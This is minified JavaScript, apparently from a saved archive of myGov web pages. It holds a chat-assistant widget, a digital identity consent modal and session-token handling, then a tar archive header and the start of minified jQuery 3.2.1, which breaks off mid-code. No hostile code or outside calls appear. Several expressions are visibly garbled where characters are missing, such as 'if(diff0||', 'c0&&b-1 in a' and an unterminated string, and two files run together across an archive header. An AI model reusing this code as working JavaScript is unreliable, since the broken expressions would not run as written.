false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("Skip to '+titleBarTitle+"");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/smsone_files/mgv2-vendor.js.download000064400000450717151676702570015523 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var 